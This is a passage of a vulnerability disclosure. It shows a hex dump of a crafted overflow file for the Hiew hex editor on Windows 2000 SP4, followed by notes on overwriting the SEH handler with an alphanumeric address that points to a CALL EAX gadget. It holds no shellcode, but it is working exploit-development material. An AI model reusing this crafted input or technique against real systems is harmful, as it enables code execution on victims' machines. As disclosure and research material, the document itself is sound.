


```
00000370: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000380: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000390: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
000003A0: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
000003B0: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
000003C0: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
000003D0: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
000003E0: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
000003F0: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000400: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000410: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000420: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000430: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000440: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000450: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000460: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000470: 61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61 aaaaaaaaaaaaaaaaaa
00000480: 61 61 61 61-61 61 61 61-61 61 61 61-30 79 43 aaaaaaaaaaaaaa0yC
```

This binary file was tested on W2KSP4, it uses no shellcode and no dependent OS offsets. Return address was overwritten with 0x61616161. Keep in mind that in order to successfully exploit the overflow an alphanumeric offset and alphanumeric shellcode must be used, due to this fact in this proof of concept SEH default handler was overwritten with:

```
0 x [Original byte == 0x0 ]437930 -> "Cy0" <- alphanumeric
```

0x00437930 points to a "CALL EAX" which is placed on the unpacked body of Hiew, (hiew is packed with aspack), at this moment EAX, at least in W2KSP4, points to a substring within the main chain.

Vulnerability discovered and analysis Performed by:

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